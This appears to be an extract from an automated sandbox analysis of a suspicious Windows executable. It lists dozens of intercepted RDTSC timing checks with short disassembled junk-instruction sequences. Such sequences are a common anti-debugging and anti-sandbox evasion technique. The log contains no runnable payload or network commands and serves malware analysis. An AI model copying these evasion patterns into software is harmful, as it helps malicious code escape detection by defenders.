Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E9DFCA second address: E9DFE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F850CC4A397h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E9DFE5 second address: E9DFEB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E9DFEB second address: E9DFF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E9DFF1 second address: E9DFFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F850D0E60D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E9DFFB second address: E9E01B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F850CC4A392h 0x00000007 jbe 00007F850CC4A386h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E9E16F second address: E9E184 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F850D0E60E0h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E9E30F second address: E9E315 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E9E315 second address: E9E342 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F850D0E60DDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F850D0E60E5h 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E9E342 second address: E9E368 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F850CC4A390h 0x00000009 jmp 00007F850CC4A38Fh 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E9E976 second address: E9E9A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F850D0E60E1h 0x00000012 jmp 00007F850D0E60E4h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E9E9A8 second address: E9E9AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E9ED17 second address: E9ED1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E9ED1B second address: E9ED21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E9EFEC second address: E9EFF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E9EFF0 second address: E9EFF6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E9EFF6 second address: E9F022 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F850D0E60DCh 0x00000008 jmp 00007F850D0E60E2h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 js 00007F850D0E60D6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E9F022 second address: E9F031 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jns 00007F850CC4A386h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E9F031 second address: E9F053 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F850D0E60D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F850D0E60E6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E9F358 second address: E9F35E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E9F35E second address: E9F364 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E9FC12 second address: E9FC34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F850CC4A398h 0x0000000b popad 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E9FC34 second address: E9FC3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E9FC3B second address: E9FC40 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E9FF73 second address: E9FF78 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: EA4200 second address: EA420D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 push edi 0x0000000a push edi 0x0000000b pop edi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: EA3B1D second address: EA3B23 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: EA3D91 second address: EA3DBD instructions: 0x00000000 rdtsc 0x00000002 jp 00007F850CC4A386h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F850CC4A399h 0x0000000f pushad 0x00000010 jo 00007F850CC4A38Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: EA3F35 second address: EA3F39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: EA3F39 second address: EA3F47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: EAB346 second address: EAB368 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F850D0E60E7h 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: EB3F2C second address: EB3F32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: EB3F32 second address: EB3F63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F850D0E60E7h 0x00000009 jmp 00007F850D0E60DDh 0x0000000e popad 0x0000000f jp 00007F850D0E60EDh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: EB2104 second address: EB2124 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F850CC4A398h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: EB2124 second address: EB2129 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: EB22A0 second address: EB22A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: EB27DC second address: EB27F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F850D0E60DAh 0x00000007 push esi 0x00000008 jnp 00007F850D0E60D6h 0x0000000e pop esi 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: EB27F6 second address: EB283B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F850CC4A392h 0x00000009 popad 0x0000000a push ecx 0x0000000b jmp 00007F850CC4A397h 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F850CC4A393h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: EB2DD3 second address: EB2DD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: EB2DD9 second address: EB2DFD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F850CC4A396h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b ja 00007F850CC4A386h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: EB2DFD second address: EB2E01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: EB3D76 second address: EB3D8E instructions: 0x00000000 rdtsc 0x00000002 ja 00007F850CC4A386h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jl 00007F850CC4A38Ch 0x00000012 jng 00007F850CC4A386h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: EB3D8E second address: EB3D94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: EB3D94 second address: EB3D98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: EB94BA second address: EB94D3 instructions: 0x00000000 rdtsc 0x00000002 je 00007F850D0E60EBh 0x00000008 jmp 00007F850D0E60DFh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: EB966A second address: EB966E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: EB966E second address: EB9689 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F850D0E60E5h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: EB9802 second address: EB9824 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F850CC4A388h 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F850CC4A392h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: EC795B second address: EC7992 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F850D0E60DFh 0x0000000a jnc 00007F850D0E60D6h 0x00000010 jmp 00007F850D0E60E1h 0x00000015 popad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b jne 00007F850D0E60D6h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: EC7992 second address: EC7996 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: EC7996 second address: EC79A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F850D0E60D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: EC79A6 second address: EC79AC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: EC79AC second address: EC79B3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: EC769C second address: EC76BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F850CC4A399h 0x00000007 jo 00007F850CC4A397h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: EC935C second address: EC9360 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: EC9205 second address: EC9209 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: EC9209 second address: EC9215 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: ECD87F second address: ECD88D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F850CC4A38Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: ECD88D second address: ECD891 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: ECD300 second address: ECD322 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F850CC4A395h 0x0000000a jng 00007F850CC4A386h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: ED3C23 second address: ED3C32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jg 00007F850D0E60D6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: ED3C32 second address: ED3C36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: ED3C36 second address: ED3C3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: ED3C3A second address: ED3C4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F850CC4A386h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: ED6DEC second address: ED6DF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jnl 00007F850D0E60D6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: ED6DF8 second address: ED6DFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: ED6DFC second address: ED6E06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: ED6E06 second address: ED6E0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: ED6E0C second address: ED6E10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: ED6E10 second address: ED6E14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: EDF6D2 second address: EDF6D7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: EDF6D7 second address: EDF6F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F850CC4A397h 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: EDF6F7 second address: EDF6FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: EE28F9 second address: EE28FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: EE8684 second address: EE869A instructions: 0x00000000 rdtsc 0x00000002 js 00007F850D0E60D8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c js 00007F850D0E60FAh 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: EE869A second address: EE869E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: EE728D second address: EE7293 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: EE76D5 second address: EE76D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: EE7820 second address: EE7826 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: EE7826 second address: EE783A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jnc 00007F850CC4A386h 0x0000000c jnc 00007F850CC4A386h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: EEC8E7 second address: EEC90A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F850D0E60E4h 0x00000009 popad 0x0000000a je 00007F850D0E60DEh 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: EEC90A second address: EEC90E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: EEC90E second address: EEC914 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: EEC914 second address: EEC918 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: EECAAD second address: EECAB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F850D0E60D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: EECAB7 second address: EECACE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F850CC4A393h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: EECACE second address: EECAD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: EECAD4 second address: EECAEB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F850CC4A38Ch 0x00000008 jnc 00007F850CC4A386h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: EFA8F6 second address: EFA91D instructions: 0x00000000 rdtsc 0x00000002 jo 00007F850D0E60D8h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F850D0E60E9h 0x00000011 push edi 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: EFA91D second address: EFA946 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F850CC4A397h 0x00000011 jne 00007F850CC4A386h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: EFA946 second address: EFA968 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F850D0E60DDh 0x00000007 jmp 00007F850D0E60E1h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: EFA968 second address: EFA96D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: EFC370 second address: EFC374 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: F08C29 second address: F08C44 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F850CC4A38Eh 0x00000007 pushad 0x00000008 jo 00007F850CC4A386h 0x0000000e push esi 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: F08C44 second address: F08C61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c jns 00007F850D0E60D6h 0x00000012 pushad 0x00000013 popad 0x00000014 pop ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 jo 00007F850D0E60D6h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: F08C61 second address: F08C67 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: F08C67 second address: F08C7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 js 00007F850D0E60D6h 0x00000009 jno 00007F850D0E60D6h 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: F08C7A second address: F08C80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: F0A314 second address: F0A32F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007F850D0E60DCh 0x0000000c pushad 0x0000000d jnl 00007F850D0E60D6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
